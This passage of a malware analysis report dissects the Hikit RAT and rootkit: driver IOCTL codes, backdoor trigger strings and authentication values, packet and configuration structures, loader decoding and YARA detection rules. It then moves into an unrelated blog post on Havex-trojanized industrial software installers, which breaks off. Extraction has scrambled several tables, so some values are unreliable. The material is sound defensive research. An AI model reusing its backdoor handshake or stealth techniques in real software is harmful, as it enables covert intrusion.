Gen 1 model. The Gen 1.0 +sample was a standalone executable whereas subsequent Gen 1 sub-generations use a DLL running +as a service. The Gen 1.0 sample is clearly a work-in-progress. The Gen 1.0 sample, while different +than subsequent sub-generations, does still rely on the Driver component and for the most part the +structure of the code does not differ much going forward into the Gen 1 evolution. +Less than three weeks after Gen 1.0, the author(s) of Hikit move into Gen 1.1. The notable change is +that the Hikit model of using a DLL and driver, which has remained until present day, comes into being. +The code matures slightly between Gen 1.0 and Gen 1.1 but the functionality does not change. Both +Gen 1.0 and Gen 1.1 use plaintext data transmissions. +Development appears to halt on Gen 1 for 4 months between 20 June 2011 and 23 October 2011 +based on a lack of available samples found. During this time the development of Hikit appears to +change locations. Gen 1 samples have Program Database (PDB) file strings that identify the file path of +the Hikit source code. For Gen 1.0 and Gen 1.1 samples, the file path of the Hikit source code is +consistently h:\JmVodServer\hikit. Starting with Gen 1.2, the file path switches to +e:\SourceCode\hikit_new. It is at this time that the functionality of Hikit Gen 1 begins to mature. +In Gen 1.2, the communication between the infected machine and the attacker is encrypted using an +XOR mask. A more subtle change is the renaming of the +socks5 + command to simply +proxy + within +the code. The code within Hikit begins to mature but the overall functionality does not expand beyond +the original set of commands found in Gen 1.0. The other remarkable change within the Gen 1.1 to Gen +1.2 development is the way in which the session handshake trigger operates. In Gen 1.0 and Gen 1.1, +the DLL instructs the Driver to listen for a specific string (typically a HTTP request string) and responds +with another string. In Gen 1.2, the Driver has a hardcoded trigger string (a specific HTTP request +string) and the DLL instructs the Driver to inspect a specific HTTP header field for a specific +hexadecimal value. This moves Gen 1.2 into more of a username/password authentication scheme +whereas previous sub-generations could potentially be accessed by accidental HTTP requests. At the +same time, the Driver responds with a specific value with in the Etag HTTP header field. This places +Gen 1.2 into a more stealth position as a random, non-HTTP compliant response from Gen 1.0 and +Gen 1.1 samples is more obvious than a legitimate HTTP response with a specially crafted Etag +header. +Gen 1.2 +s development cycle appears to exist between 23 October 2011 and 2 November 2011 with +several new samples being found on the Internet having legitimate compile times during this time +window. There is, however, evidence that the development of Hikit Gen 1 and Gen 2 overlap by several +months. The earliest Gen 2 sample known to exist dates to 28 August 2011, two months before the first +known Gen 1.2 sample. The last known Gen 1.2 sample, and by extension, the last known Gen 1 +sample, dates to 9 April 2012. +The first known Gen 2 sub-generation, Gen 2.0 Alpha, much like Gen 1.0, represents an early +development version of the Gen 2 Hikit sub-family. Gen 2.0 Alpha is a stand-alone Windows console +executable that can run as a service executable. Gen 2.0 Alpha supports the same commands as Gen +1.2 with an additional command that returns the infection +s configuration information. +On 9 February 2012 the first known sample for Gen 2.0 Beta is compiled by the developer(s) of Hikit. +Also a stand-alone console executable like Gen 2.0 Alpha, the Gen 2.0 Beta code changes internally +without providing significant functionality improvements with the exception of now the executable uses +a device driver to hide network, file, and registry artifacts related to its operation. Both Gen 2.0 Alpha +and Gen 2.0 Beta still retain PDB file path information within their binaries. During the development +phase of Gen 2.0 Alpha, development of the Gen 2.0 Alpha variants changes locations. First version of +the Gen 2.0 Alpha malware, from 28 August 2011, has the PDB path located in +H:\JmVodServer\Matrix_new2 whereas the file path for later Gen 2.0 Alpha and Gen 2.0 Beta +binaries has the PDB path in E:\SourceCode\Matrix_new which suggests that the source code for +both Gen 1 and Gen 2 existed on the same machine and moved at roughly the same time. This may +indicate either a single developer or a team (or set of teams) with shared resources. +The first known Gen 2.1 binary has a compile date of 17 April 2012. Gen 2.1 represents the first Gen 2 +sub-generation to use an executable-based loader, DLL and driver model, a model that all subsequent +Gen 2 sub-generations employ. The functionality of the Gen 2.1 sub-generation is the same as the +previous generations with no new commands being introduced. Gen 2.1 is the first sub-generation in +the Gen 2 sub-family to introduce 64-bit binaries. +The Gen 2.2 sub-generation appears to have begun on 20 July 2012. Gen 2.2 is notable for altering +where the configuration information of the RAT is stored and using both DLL-based and executablebased loaders. Also notable is the fact that the sub-generation spans a significant amount of time with +intermittent periods of development. The bulk of the Gen 2.2 samples that have the tell-tale marks of +being the product of a builder have a compile date of 26 July 2013, a full year after the first known Gen +2.2 sample. Between 21 July 2012 and 20 February 2013, there are no known Gen 2.2 binaries. The +two 20 July 2012 samples have different compile times indicating they were not the product of a builder +but rather unique compilations. Between 21 February 2013 and 27 February 2013, there are 4 unique +compilation dates for the DLL component with 7 unique, known Gen 2.2 DLLs. The bulk of Gen 2.2 +samples have a compile date of 26 July 2013. There are approximately 25 known Gen 2.2 DLLs with +the 26 July 2013 compile date. The Gen 2.2 sub-generation appears to exist through at least 19 +September 2013. +The last known Gen 2 sub-generation, Gen 2.3, began on 12 December 2013. Gen 2.3 is notable for its +use of a legitimate SSL certificate as part of the handshake between the infected machine and the +attacker +s C2. The DLL will send a legitimate SSL certificate as a means to disrupt heuristic IDS +sensors that look for encrypted traffic. Another interesting aspect of the Gen 2.3 sub-generation is that +there is no longer a marker to designate the beginning of the embedded configuration. Gen 2.1 and +Gen 2.2 uses a specific string to indicate the beginning of the embedded configuration presumably in +order to allow the builder to locate the configuration space when constructing a new configuration for +the binaries. Gen 2.3, however, uses a specific location instead, requiring the builder to calculate the +specific location using the PE/COFF header of the binary. Also, while Gen 2.1 and Gen 2.2 retain the +configuration within the DLL component, Gen 2.3 stores the configuration within the loader component. +This allows the attackers to configure the loader without having to update the DLL. +The evolution of Hikit is a long and drawn out series of small, incremental development changes. The +important take away from the evolution of Hikit is that the developers for Gen 1 appear to have changed +in late 2011 and development of Gen 2 has a several month overlap with the development and usage +of Gen 1. The following table provides a quick reference to the generational (and sub-generational) +designations of Hikit. +August +28, 2011 +Timeline Outlined in Appendix A: HiKit Versions +The Driver +The Driver component for Hikit varies based on the specific Hikit sub-family (Gen 1 or Gen 2). As such +it is necessary to describe each in the context of its specific sub-family. +Gen 1 Driver +The Driver component of Gen 1 Hikit variants provides the interface between the victim +s network +interface card (NIC) and the DLL. The Driver is a NDIS (network) driver that integrates into the victim +network stack. The Driver intercepts any and all network communication that traverses the Windows +network stack and potentially removes the data from the network stack under very specific conditions. +When the Driver removes data from the network stack, the Driver stores the removed data in local +buffers for the Gen 1 DLL to query against. The purpose of this behavior is to allow the DLL to interact +with the network without utilizes the WinSock API which could potentially reveal the presence of Hikit. +In order to interact with the Driver, the DLL uses the function +IoDeviceControl +to send commands to +the Driver. The Driver registers itself at both +\Device\w7fw +\DosDevices\w7fw +thereby +allowing the DLL to access the Driver by performing a +CreateFile +request to +\\.\w7fw +\\.\Globals\w7fw in order to obtain a handle to the Driver. The Driver +s interface supports the +following OIDs: +0x12C828 +0x12C82C +0x12C830 +0x12C838 +0x12C840 +0x12C844 +0x12C848 +0x12C84C +0x12C850 +Function +No-op +Retrieves bytes from the recv queue. +Add bytes to the xmit queue. +Set key value (the trigger value) +Change mode for current process +s channel to 2 +Activates channel +Shuts down a channel by flushing all queued packets/data to the network with ACK|FIN +set in the flags +Returns the current mode for a given channel +Get the Driver +s version +The Driver will remove data from the network stack only if a new channel is being established. A new +channel occurs when the Driver detects a trigger string. The trigger string is typically a short form HTTP +request with the following trigger strings found in the wild: +Generation(s) +Trigger String +Gen 1.0, 1.1 +Gen 1.2 +GET /password +HTTP/1.1\r\n\r\n +GET / HTTP/1.1\r\n +Gen 1.2 +POST / HTTP/1.1\r\n +Authentication Response Value +Value +.welcome. +75BCD15 +75BCD15 +HTTP/1.1 200 OK +Pragma: no-cache +Content-Type: text/html +ETag: "{other +digits}75BCD15{other digits}:{3 hex +digits}" +Connection: Keep-Alive +HTTP/1.1 200 OK +Pragma: no-cache +Content-Type: text/html +ETag: "{other +digits}75BCD15{other digits}:{3 hex +digits}" +Connection: Keep-Alive +Up to and including Gen 1.1 Drivers required the DLL to specify the trigger string in addition to the +authentication value whereas Gen 1.2 Drivers had the trigger strings hardcoded. +In Gen 1.2, whenever the Driver detects a trigger string, the Driver inspects the rest of the data +received for the authentication value. If the token follows the trigger string (there is no specific limitation +on how far from the trigger string the password token must be), then the Driver generates a new +channel that the DLL will use as the conduit between the DLL and the client. +The Driver appears to be based off the NDIS example source code PassThru. More specifically, the +author(s) of the Driver appear to have used the modified version of the PassThru example, +PassThruEx, by James Antognini and Thomas Devine from a 2003 blog post1. +Gen 2 Driver +The Gen 2 sub-family, beginning with Gen 2.0 Beta, employs a Windows device driver ( +the Driver +) to +hide aspects of the DLL +s functionality from normal system processes. The Driver is a relatively +straightforward piece of software. It does not attempt to obfuscate its functionality from static analysis +and it hooks a minimum number of kernel API functions in order to hide different pieces of information. +The Driver is based primarily on the open source Agony rootkit2 and it has evidence of some portions of +the code coming directly from a Chinese blog3. +The Driver expose an IOCTL interface that supports the following OIDs: +0x22C000 +0x22C004 +0x22C008 +0x22E000 +0x22FFD0 +0x22FFD4 +0x22FFD8 +0x22FFE0 +0x22FFE4 +0x22FFE8 +0x22FFEC +0x22FFF0 +0x22FFF4 +0x22FFFC +Function +Add driver (system module) to hide. +Reveal all hidden items. +Add IP:Port endpoint to hide. +No-Op +Remove PID from hidden list. +Add PID to list of PIDs to hide. +Add service to list of services to hide. +Add local port to list of ports to hide. +Currently unused. Evidence suggest this was previously a port hiding function, but it +is no longer functional. +Currently unused. It is unclear the purpose of this function. It takes a string as its +argument. +Add directory to list of directories to hide. +Add registry key to list of registry keys to hide. +Add registry key value to list of registry values to hide. +Purge all hooks and hidden items ("unhook") +The Driver is capable of hiding processes (by PID, not name), system modules, services, network +connections, listening ports, directories (and by extension, files), as well as registry keys and values. In +order to hide these items, the Driver hooks various Windows Kernel API calls. The following table maps +the items the Driver can hide to the API function that the Driver hooks: +Item +Process ID +(PID) +Registry Key +Registry Value +Directory +API Function Hooked +ZwDeviceIoControlFile +ZwEnumerateKey +ZwEnumerateValueKey +QueryDirectoryFile +James +Antognini +Thomas +Divine. +Extending +Microsoft +PassThru +NDIS +Intermediate +Driver +Parts: +Address +Blocking +NDIS +Drivers +December +2003 +pudn. +Agony +Rootkit +code, +stability +useful +Driver +Develop +http://en.pudn.com/downloads74/sourcecode/windows/vxd/detail265112_en.html. +April +2007. +CardMagic. +[Reserved] +Module +Hook: +Hiding +Port +Under +Windows +Vista +http://forum.eviloctal.com/archiver/tid- +29604.html. +July +2007. +Item +Local Listening +Port +Remote +Endpoint +Loaded Drivers +API Function Hooked +ZwDeviceIoControlFile +ZwDeviceIoControlFile +ZwQuerySystemInformation +In order to hide services, the Driver will access the memory of the services.exe process, locate the +linked list of services and remove the service entry that the Driver wishes to hide. This is a surprisingly +invasive method to obfuscate a process. +Upon activation, the Driver will expose its interface by calling +IoCreateDevice +with the name +\Device\agony +(for Gen 2.0 Beta samples), \Device\HTTPS +(for Gen 2.1 samples), +\Device\advcachemgr +(for Gen 2.2 samples) or \Device\diskdump +(for Gen 2.3 samples). The +Driver also creates a symbolic link to the device using the same name but under the +\DosDevices\ +tree. +For reasons unknown, the authors of the Driver used code from a Chinese blog that details how to hide +network connections on Windows Vista and later decided to keep the example IP address within the +code. +Functionality and Commands +The Hikit family has supported roughly the same set of commands since the first known samples of +Gen 1.0. Gen 2.0 introduced a single command to provide insight into an infected machine +s Hikit +configuration (something that is not necessary for Gen 1 variants since they are server-based). The +RAT supports the following commands: +Command +shell +file +connect +Introduced +Gen 1.0 +Gen 1.0 +Gen 1.0 +socks5 +proxy +information +Gen 1.0 +Gen 1.2 +Gen 2.0 +Alpha +Gen 1.0 +exit +Description +Establishes a remote command shell on the victim machine +File managerment +Establishes a tunnel connection (e.g. port forwarding) through +another Hikit sample +Establishes a forwarding proxy (retired in Gen 1.2) +Establishes a forwarding proxy +Returns the configuration for the Hikit infection +Terminates a channel +Command: +shell +shell +command activates a remote shell on the victim +s computer. The remote shell function uses +the standard pipe redirection method for interfacing a network application (in this case, the DLL) to a +hidden command shell. +Command: +file +file +command provides an attacker with a variety of disk access options such as listing +directories, changing the current directory, and uploading and downloading files. +Command: +connect +connect +function provides the functionality to allow one Hikit DLL to interface with another DLL of +a similar version. The use of this functionality can best be illustrated by considering the fact that the +Gen 1 Driver requires an exposed network interface in order for an external attacker to access the Gen +s RAT function. This would prohibit lateral movement within a victim +s network as the bulk of any +organization +s network infrastructure is not directly exposed to the Internet. By using the connect +command, an attacker can instruct the externally exposed Gen 1 DLL to route traffic to a Gen 1 DLL +that is behind the firewall, effectively making the externally exposed Gen 1 DLL a local router for Hikit +traffic. +Command: +proxy (Gen 1.2 and later), socks5 +(Gen 1.0 and 1.1) +proxy +socks5) command allows an attacker to utilize a Hikit-infected machine as a proxy. +Command: +information +Gen 2 samples rely on a configuration in order to know where the C2 server exists along with other +operational aspects such as the name of its service and operational times. This information is important +for the attacker to have access to in order to determine if any aspect of the configuration is out of date +(thus requiring a new variant of the Gen 2 binary to be configured and deployed). The +information +command returns to the attacker the complete configuration and current state of the Gen 2 malware. +Command: +exit +As the name implies, the +exit +command causes the DLL to discontinue the current connection. +Hikit Core Analysis +With the Gen 1 sub-family using a server model and the Gen 2 sub-family using the client model, +understanding how each of the DLL components of the sub-families works is best done, as with the +Driver above, in the context of the specific sub-family. +Gen 1 Analysis +As noted previously in this report, the Gen 1 sub-family has several sub-generations but overall the +functionality of the Gen 1 sub-family has remained constant. With the exception of Gen 1.0, the +functionality of Gen 1 comes from the DLL component (Gen 1.0 uses a stand-alone executable to +achieve the same results). The DLL operates as a service, requiring an attacker is install the DLL as a +service at some point prior to activation. The DLL contains only two exports: DllEntryPoint +DllRegisterServer. +Ultimately, both exports generate a new thread of the same function +mainThread +). The difference between the two exports is that DllRegisterServer +can take an +optional command line argument of the letter + which will instruct the main thread to uninstall the Gen +1 system from a victim +s computer. If the uninstall argument exists, +mainThread +will simply remove the +Driver from the victim +s machine and terminate. The authors of Gen 1 used freely available source code +found online for their removal function.4 +PCAUSA. +Programmatically +Installing +NDIS +Protocol +Drivers +http://www.ndis.com/ndis- +general/ndisinstall/programinstall.htm. +December +2013. +When the DLL activates, either by a call to +DllEntryPoint +or by calling +DllRegisterServer +without the u parameter, +mainThread +begins by verifying the version of the Driver installed on the +victim +s machine. This requires sending OID 0x12C850 to the Driver and comparing the resulting 32-bit +value with the required driver version. If the version is incorrect (i.e. it doesn +t match the specified +version), the DLL installs the version of the Driver found within the DLL +s resource section (under the +resource tree). +With the Driver version verified (or forcibly corrected by installing the appropriate Driver), the DLL will +instruct the Driver to use a specified string (for Gen 1.0 and Gen 1.1 samples) or a DWORD (for Gen +1.2 samples) as the acknowledgment value to send to a connecting client who requests the appropriate +URL. The DLL again checks the version of the Driver and, in some versions of the DLL, will print a +message indicating the version of the Driver installed and report the +Transate version + (the word +translate is misspelled within the binary). It appears that the Driver and the communication protocol +version do not necessarily have to match exactly, allowing the possibility that the Driver and the DLL +could be compiled at separate times. If the Driver version is less than the +Transate + version (indicating +that the Driver is a version too old to support the necessary communication protocols), the DLL will, in +some version of the DLL, print out a line to the screen indicating the DRIVER_MIN_VERSION +required +along with the current Driver version. Following this, the DLL will then attempt to install the correct +version of the Driver prior to terminating. It is unclear why this code exists given that the DLL will check +the Driver version and correct the Driver if necessary prior to reaching the portion of the code that +reports the +DRIVER_MIN_VERSION. +It is possible that the second Driver version check is a last ditch +effort to ensure the correct Driver is installed. +The DLL enters an infinite loop where the DLL waits for the Driver to report a new channel exists. A +channel represents an established connection between the Driver and an external party that has +provided the proper initial request and, for Gen 1.2 variants, provided the proper authentication value. +When the Driver establishes a new channel, the DLL generates a runtime data structure before +generating a new thread ( +HikitThreadFunc +) which will service any request coming from the new +channel. This allows the DLL to service multiple channels at one time. +The HikitThreadFunc +function is, at its core, a simple wait and respond loop. The function begins by +transmitting a Hikit command prompt to the client (Hikit>) before settling into an infinite loop of +Read data from channel (wait until data is available) +[For Gen 1.2] Decrypt the packet header +Verify the packet header to ensure the communication version is correct and the payload data +size is non-zero +Read the remainder of the packet (e.g. the payload portion) +If the packet type field (dwPacketType) is zero, send the payload section to the command +processor. +Send the Hikit prompt +The communication scheme between the DLL and the client consists of a 20 to 24 byte header (for Gen +1.0 and Gen 1.1) or a 28 byte header (for Gen 1.2) followed by an optional payload. The format of the +Gen 1.0 and Gen 1.1 header is as follows: +struct PacketHeader +char magic[5]; +char zeros[3]; +DWORD dwHikitVersion; +DWORD dwCmdType; +DWORD dwLocale; +// omitted in some Gen 1.0 variants +DWORD dwPayloadSize; +While the Gen 1.2 header is: +struct PacketHeader +DWORD key; +DWORD dwHikitVersion; +DWORD dwPacketType; +DWORD dwLocale; +DWORD dwCodePage; +DWORD dwPayloadSize; +For Gen 1.0 and Gen 1.1 samples, the magic field contains the string +.. .. +(two dots followed by a +space then two more dots). Whereas the key field in Gen 1.2 samples contains a 32-bit value that +represents the XOR key for the remainder of the PacketHeader and any additional payload data. The +XOR scheme works on 32-bit chunks of data where each 32-bit chunk of data is XOR +d against the key +value. +Version checking is important in all Gen 1 variants. The dwHikitVersion +field allows the client and +the DLL to ensure that they have a compatible communication scheme in place prior to executing +commands. +Gen 1 samples have a particular interest in the victim +s locale language preferences. While it is typical +for most RATs that provide remote shells to simply pass data unfiltered from client to server and server +to client without regard to code pages, Gen 1 samples take special care to record the code page and +locale information in each and every packet header that traverses the divide between client and server +and server and client. This could indicate that the authors of Gen 1 understood from an early stage in +the development of Gen 1 that they would be attacking computer systems with different locales and +code pages. +Gen 2 Analysis +The Gen 2 sub-family, like Gen 1.2, uses a DLL for the core of its RAT functionality. In order for the +DLL to load, Gen 2 (starting with Gen 2.1) uses a loader application (referred to simply as +Loader +). The Loader comes in the form of a standard executable image or a DLL image. Despite the +different models, both variants of the Loader load the embedded DLL in the exact same way. The only +difference between the executable and DLL versions of the Loader comes in how they handle the +initialization of the embedded DLL. +Figure 1: DLL (left) and executable (right) Loader startup routines +Figure 1 provides a side by side comparison of the startup routines for the executable and DLL +Loaders. Both versions of the Loader begin by loading the embedded DLL from the Loader +s resources +(item 102 under the Group Icons resource tree), decrypting and decompressing the image into memory, +then manually loading the DLL into memory using a custom loading routine. The function +LoadEmbeddedImage, as seen in part in Figure 2, is responsible for this operation. +Figure 2: LoadEmbeddedImage function snippet +The Loader obfuscates many strings by using a simple XOR encoding scheme. Decryption of encoded +strings consists of taking the first value of the string as the XOR key, XOR +ing all subsequent bytes until +the result of the XOR returns 0. The decoding of the encoded strings is handled by the DecodeString +function. +The Loader stores the embedded DLL within a Group Icon resource within a legitimate icon image. In +order to locate the embedded DLL, +LoadEmbeddedImage +will use the +DecodeString +function to +decrypt the delimiter string (which is typically +zzzzzzzzzz +yyyyyyyyyy) and then search the icon +resource memory for the delimiter string. Once located, +LoadEmbeddedImage +will use the first 12 +bytes immediately after the string as the information structure about the embedded DLL. The structure +(seen below) defines the size of the embedded DLL within the icon +s resource memory, the size of the +DLL after it is decompressed and a 4-byte XOR key that +LoadEmbeddedImage +must use to decode +the embedded DLL prior to decompression. +struct ImageHeader +DWORD dwImageEncodedSize; +DWORD dwImageSizeDecompressed; +DWORD EncodingKey; +LoadEmbeddedImage +copies the compressed embedded DLL into a newly allocated heap buffer and +then calls the function +decodeBuffer +(using the +EncodingKey +value) to decrypt the embedded DLL. +Another heap buffer is allocated with a size equal to the value of +dwImageSizeDecompressed. +decompression buffer along with the now decoded compressed buffer are given to lzo_decompress +which decompresses the compressed image using the LZO1X algorithm5. +With the embedded DLL now decompressed into a heap buffer, LoadEmbeddedImage +calls +ImageLoaderData::LoadDll +to manually load the DLL into memory. +ImageLoaderData::LoadDll +interprets the PE/COFF header of the DLL image, loads the image +into the appropriate memory configuration, performs the necessary relocation operations, and calls the +DllMain +(DLL +s entry point) function. +After loading the embedded DLL image into memory, the Loader will either call the DLL +StartServer +MatrixMain +function depending on the type of Loader. The standalone Loaders use +MatrixMain +function while the DLL Loaders will call the +StartServer +function. The Loaders, +upon unloading, will call the StopServer function in order to shut down the embedded DLL. +The Gen 2 DLL exposes five exported functions (besides the +DllEntryPoint/DllMain). +Export Name +DllRegisterServer +MatrixMain +SetModuleHandle +StartServer +StopServer +Description +If the Gen 2 RAT is running, waits for the RAT to shut down before returning. +Activates the Gen 2 RAT (called from a stand-alone Loader) +The given parameter becomes the new module handle for the RAT. +Activates the Gen 2 RAT (called from a DLL Loader) +Stops the Gen 2 RAT (called from a DLL Loader) +MatrixMain +StartServer +both ultimately generate a new thread (using the POSIX API function +beginthreadex +instead of the more common +CreateThread) that contains the main loop of the Gen +2 RAT functionality. MatrixMain, however, has added functionality. The prototype for MatrixMain is as +follows: +int MatrixMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR +lpCmdLine, int nShowCmd)) +Markus +F.X.J. +Oberhumer, +real- +time +data +compression +library +http://www.oberhumer.com/opensource/lzo/. +June +2014. +where Arguments parameter can be: +Arguments string +test {DWORD identifier (IP?)} +{listening Port} [C2 address] [C2 port] +Purpose +Overrides the current configuration with the given +settings. The C2 arguments are optional. +Installs trojan service +Uninstalls the trojan service +Sets the SHOW flag for the service to instruct the +Driver to reveal the service. +Sets the HIDE flag for the service to instruct the +Driver to hide the service. +Sets the STOP flag for the RAT. +If the i +parameter is given, the DLL will install itself as a service on the victim +s machine. The DLL will +create a new service (e.g. +Network DDE Service +) and assign itself as the executable for the service. +The DLL +s RAT functionality provides basic features such as network port forwarding (proxying), file +transfer, and remote command shell. The RAT functionality provides an attacker with the ability to +establish a phantom network within a victim +s infrastructure by having individual instances of Gen 2 DLL +listen for incoming connections on local ports (presumably, NAT +d ports) and accept commands from +the inbound connection. This allows an attacker to establish several Gen2 infections within a victim +infrastructure and if outbound connectivity is prohibited for any of the infected machines, the attacker +can route commands to the pseudo-isolated infections through accessible infected machines providing +a high level of persistence to the malware. Each Gen 2 infection can support up to 10 listening ports. +The communication between the Gen 2 malware and the C2 (or other Gen 2 malware, in the case of +the internal routing functionality) is encrypted using a simple DWORD XOR scheme. Each +communication burst (either between the malware and the C2 or the malware and neighboring +malware) begins with a 24-byte header identical to the header found in Gen 1.2. Immediately following +the header is the type-specific (as indicated by the +dwPayloadType field) payload data. Note that the +dwXORKey +value is NOT encoded with the XOR value, but rather is the value that is used for encoding +the header and payload. +Each DLL includes a hardcoded, default configuration. At the time that the RAT functionality activates, +the DLL will drop the current configuration to disk. If the configuration file already exists, then the RAT +will use the file version of the configuration over the default configuration. The configuration data +structure (seen below) doubles as a current state record for some aspects of the communication +subsystem of the DLL. When stored on disk, the configuration is preceded by a GUID value (16 bytes) +that represents the unique identifier for the specific infection. The configuration is XOR encoded using +the first 4 bytes (as a DWORD) of the GUID. +struct Config +WCHAR wszComment[32]; +C2ConfigInfo arrC2s[2]; +ListeningPortConfig ListeningPorts[10]; +int dwStartTime; +int dwEndTime; +__int16 Flags; +SYSTEMTIME sleepUntil; +__int16 unused_align2_2; +int fRunHidden; +struct C2ConfigInfo +WCHAR wszAddress[32]; +__int16 wPort; +__int16 unused_align2; +int fValidC2; +struct ListeningPortConfig +unsigned __int16 wPort; +unsigned __int16 unused_align2; +int fReady; +SOCKET hSocket; +HANDLE hEvent; +HANDLE hListenerThread; +In order to provide some level of stealth, the RAT will install a rootkit on 32-bit versions of Windows. +The DLL contains a device driver image embedded within an encoded buffer which the RAT +functionality code will extract to the %TEMP% +directory (after XOR +ing the buffer with 0x76). To activate +the rootkit, the RAT functionality code creates a service with the driver in the %TEMP% +directory as the +executable for the service. The RAT functionality code then activates the service and opens a handle to +device driver +s interface (e.g. \Globals\HTTPS). With the handle open to the rootkit driver, the RAT +functionality code deletes the service in order to reduce the visible footprint of the new driver. To further +reduce the footprint of the driver, the RAT functionality code also uses the cloaking functionality of the +rootkit to hide the DLL +s PID, any references to the GUID {4AE26357-79A3-466D-A6D9FC38BFB67DEA}, the DLL +s service names (e.g. +NetDDESrv + and "Network DDE Service") and the +service entry as well. Additionally, the code also attempts to hide a service named +Hitx +Support Software +In addition to the main Hikit malware, there are at least two examples of support programs that belong +to the Hikit family. Samples b04de6c417b6f8836e3f2d8822be2e68f4f9722b and +7c4da9deff3e5c7611b9e1bd67d0e74aa7d2d0f6 are examples of Gen 1.0 and Gen 1.2 operator +consoles. The console is a text based application that takes a Gen 1.0 or Gen 1.2 infection +s IP address +and proceeds to connect and authenticate with the infected server. Once connected, the operator has +the basic Hikit functionalities available to them via commands such as file and shell. +Detection +Detecting Hikit variants on disk and in memory is possible using the following YARA signature +developed by Symantec: +rule hikit +strings: +$hikit_pdb1 = /(H|h)ikit_/ +$hikit_pdb2 = "hikit\\" +$hikit_str3 = "hikit>" wide +$driver = "w7fw.sys" wide +$device = "\\Device\\w7fw" wide +$global = "Global\\%s__HIDE__" wide nocase +$backdr = "backdoor closed" wide +$hidden = "*****Hidden:" wide +condition: +(1 of ($hikit_pdb1,$hikit_pdb2,$hikit_str3)) and ($driver or +$device or $global or $backdr or $hidden) +rule hikit2 +strings: +$magic1 = {8C 24 24 43 2B 2B 22 13 13 13 00} +$magic2 = {8A 25 25 42 28 28 20 1C 1C 1C 15 15 15 0E 0E 0E 05 05 05 +condition: +$magic1 and $magic2 +rule hidkit +strings: +$a = "---HIDE" +$b = "hide---port = %d" +condition: +uint16(0)==0x5A4D and uint32(uint32(0x3c))==0x00004550 and $a and $b +Detecting nominal Gen 1.2 and later network activity is problematic given the nature of the +communication structure. The encrypted nature of the nominal Gen 1.2 and later network traffic makes +a signature difficult. Snort signature 30948 may detect some Hikit based network traffic for only Gen 1.0 +and Gen 1.1. +From a system objects perspective, Gen 2 samples produce up to three named events. The event +names change per infection, but have a common format. The following three strings represent the +known mutex strings for Gen 2 samples: +Global\%s__SHOW__ +Global\%s__HIDE__ +Global\%s__STOP__ +where the %s format variable is replaced with a UUID value string specific to the infected machine. +Appendix A: HiKit Versions +Generation +Identifier +Gen 1.0 +Gen 1.1 +Gen 2.0 +Alpha +Starting Date +Notable Features +31 March 2011 +18 April 2011 +28 August 2011 +Gen 1.2 +23 October 2011 +Gen 2.0 +Beta +Gen 2.1 +27 February 2012 +First known Hikit samples. Stand-alone console executable. +Uses DLL and driver model. +First client-based Hikit variants. Stand-alone console +executable. Does not use a device driver. Encrypted +communication. +Command +socks5 + changes to +proxy +. Encrypted +communication. +Introduces the use of the device driver. +Gen 2.2 +21 February 2013 +Gen 2.3 +12 December +2013 +17 April, 2012 +First known production variant of the Gen 2 family. Uses the +concept of the Loader, the DLL and the Driver as a complete +system. +Changes storage location for configuration file. Largely similar +to Gen 2.1. DLL-based and executable-based loaders. Largest +in-service time span. +Significantly more advanced authentication when doing intramalware communication. Use of SSL certificate during +handshake. +Full Disclosure of Havex Trojans +Monday, 27 October 2014 11:11:00 (UTC/GMT) +I did a presentation at the 4SICS conference earlier this week, where I disclosed the results from my +analysis of the Havex RAT/backdoor (slides available here). +The Havex backdoor is developed and used by a hacker group called Dragonfly, who are also known as +"Energetic Bear" and "Crouching Yeti". Dragonfly is an APT hacker group, who have been reported to +specifically target organizations in the energy sector as well as companies in other ICS sectors such as +industrial/machinery, manufacturing and pharmaceutical. +In my 4SICS talk I disclosed a previously unpublished comprehensive view of ICS software that has been +trojanized with the Havex backdoor, complete with screenshots, version numbers and checksums. +Dale Petersen, founder of Digital Bond, expressed the following request regarding the lack of public +information about the software trojanized with Havex: +If the names of the vendors that unwittingly spread Havex were made public, the wide coverage +would likely reach most of the affected asset owners. +Following Dale's request we decided to publish the information presented at 4SICS also in this blog post, +in order to reach as many affected asset owners as possible. The information published here is based on +our own sandbox executions of Havex malware samples, which we have obtained via CodeAndSec and +malwr.com. In addition to what I presented at 4SICS, this blog post also includes new findings published +by Joel "scadahacker" Langill in version 2.0 of his Dragonfly white paper, which was released just a couple +of hours after my talk. +In Symantec's blog post about Havex they write: +Three different ICS equipment providers were targeted and malware was inserted into the +software bundles +Trojanized MESA Imaging driver +The first vendor known to have their software trojanized by the Dragonfly group was the Swiss company +MESA Imaging, who manufacture industrial grade cameras for range measurements. +Image: Screenshot of trojanized MESA Imaging driver installer from our sandbox execution +Company: +MESA Imaging +Product: +Swiss Ranger version 1.0.14.706 (libMesaSR) +Filename: +SwissrangerSetup1.0.14.706.exe +Exposure: +Six weeks in June and July 2013 (source: Symantec) +Backdoor: Sysmain RAT +MD5: +SHA256: +e027d4395d9ac9cc980d6a91122d2d83 +398a69b8be2ea2b4a6ed23a55459e0469f657e6c7703871f63da63fb04cefe90 +eWON / Talk2M +The second vendor to have their software trojanized was the Belgian company eWON, who provide a +remote maintenance service for industrial control systems called +Talk2M +eWon published an incident report in January 2014 and then a follow-up report in July 2014 saying: +Back in January 2014, the eWON commercial web site www.ewon.biz had been compromised. A +corrupted eCatcherSetup.exe file had been uploaded into the CMS (Content Management +System) of www.ewon.biz web site. eCatcher download hyperlinks were rerouted to this +corrupted file. The corrupted eCatcherSetup.exe contained a malware which could, under +restricted conditions, compromise the Talk2M login of the infected user. +Image: Screenshot of trojanized Talk2M eCatcher installer from our sandbox execution +Company: +eWON +Product: +Talk2M eCatcher version 4.0.0.13073 +Filename: +eCatcherSetup.exe +Exposure: +Ten days in January 2014, 250 copies downloaded (source: Symantec) +Backdoor: Havex 038 +MD5: +SHA256: +eb0dacdc8b346f44c8c370408bad4306 +70103c1078d6eb28b665a89ad0b3d11c1cbca61a05a18f87f6a16c79b501dfa9 +Prior to version 2.0 of Joel's Dragonfly report, eCatcher was the only product from eWON known to be +infected with the Havex backdoor. However, Joel's report also listed a product called +eGrabit +, which we +managed to obtain a malware sample for via malwr.com. +Image: Screenshot of trojanized eGrabIt installer from our sandbox execution +Company: +eWON +Product: +eGrabIt 3.0.0.82 (version 3.0 Build 82) +Filename: +egrabitsetup.exe +Exposure: +unknown +Backdoor: Havex RAT 038 +MD5: +SHA256: +1080e27b83c37dfeaa0daaa619bdf478 +0007ccdddb12491e14c64317f314c15e0628c666b619b10aed199eefcfe09705 +MB Connect Line +The most recent company known to have their software infected with the Havex backdoor was the German +company MB Connect Line 